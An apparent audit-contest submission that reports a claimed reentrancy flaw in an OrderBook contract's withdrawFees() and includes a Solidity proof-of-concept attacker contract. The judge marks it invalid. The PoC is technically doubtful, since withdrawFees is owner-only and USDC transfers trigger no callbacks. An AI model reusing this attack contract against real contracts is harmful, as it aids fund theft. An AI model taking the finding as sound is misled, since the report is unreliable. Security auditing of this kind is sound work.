OrderBook
First Flight #43
Beginner FriendlySolidity
100 EXP
View results
Previous Next
Submission Details
Impact: high
Likelihood: medium
Invalid

CEI Pattern Violation in withdrawFees() Enables Protocol Fee Drainage via Reentrancy

lefeveje

CEI Pattern Violation in withdrawFees() Enables Protocol Fee Drainage via Reentrancy

Description

Normal Behavior

The withdrawFees() function should safely transfer accumulated protocol fees to the owner-specified address and reset the fee counter atomically to prevent double-withdrawal or reentrancy attacks.

Specific Issue

The function violates the Checks-Effects-Interactions (CEI) pattern by making an external call (safeTransfer) before resetting the totalFees state variable, creating a reentrancy vulnerability that allows malicious recipient contracts to drain all protocol fees multiple times.

function withdrawFees(address _to) external onlyOwner {
if (totalFees == 0) {
revert InvalidAmount();
}
if (_to == address(0)) {
revert InvalidAddress();
}
​
// @> EXTERNAL CALL BEFORE STATE UPDATE
iUSDC.safeTransfer(_to, totalFees);
​
// @> CRITICAL STATE RESET AFTER EXTERNAL CALL
totalFees = 0;
​
emit FeesWithdrawn(_to);
}

Risk

Likelihood:

  • Owner controls the recipient address (_to parameter)

  • If owner uses a contract address as recipient (multisig, treasury contract, etc.)

  • Malicious or compromised recipient contract could exploit the reentrancy

  • Higher likelihood than other CEI violations since owner might legitimately use contract recipients

Impact:

  • Complete drainage of all accumulated protocol fees

  • Malicious recipient can re-enter before totalFees = 0 executes

  • Each reentrant call withdraws the full totalFees amount again

  • Could result in total loss of protocol revenue

Proof of Concept

// Malicious recipient contract that exploits fee withdrawal
contract MaliciousFeeRecipient {
OrderBook orderBook;
uint256 attackCount;
constructor(address _orderBook) {
orderBook = OrderBook(_orderBook);
}
// This function is called when USDC is transferred to this contract
function onTokenReceived() external {
if (attackCount < 3) { // Limit to prevent gas exhaustion
attackCount++;
// Re-enter withdrawFees before totalFees is reset
orderBook.withdrawFees(address(this));
}
}
// If using a malicious ERC20 implementation, could trigger in transfer
receive() external payable {
onTokenReceived();
}
}
​
// Attack scenario:
// 1. Protocol accumulates 10,000 USDC in fees (totalFees = 10,000)
// 2. Owner calls withdrawFees(maliciousContract)
// 3. During safeTransfer, malicious contract's receive/callback is triggered
// 4. Malicious contract re-enters withdrawFees(address(this))
// 5. Since totalFees is still 10,000 (not reset yet), another 10,000 USDC is sent
// 6. This repeats multiple times before original call completes
// 7. Result: 30,000+ USDC withdrawn from only 10,000 USDC in fees
​
// Alternative if USDC has callbacks:
contract ExploitUSDC {
function safeTransfer(address to, uint256 amount) external {
// Transfer the tokens
transfer(to, amount);
// If 'to' is a malicious contract, trigger callback
if (isContract(to)) {
MaliciousFeeRecipient(to).onTokenReceived();
}
}
}

Recommended Mitigation

Follow the Checks-Effects-Interactions pattern by resetting state before external call.
​
Alternatively, add a reentrancy guard
​
Additional security consideration: Consider adding a withdrawal delay or requiring multiple transactions for large fee withdrawals to prevent rapid drainage scenarios.
Updates

Lead Judging Commences

yeahchibyke Lead Judge
11 days ago
yeahchibyke Lead Judge 10 days ago
Submission Judgement Published
Invalidated
Reason: Non-acceptable severity

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.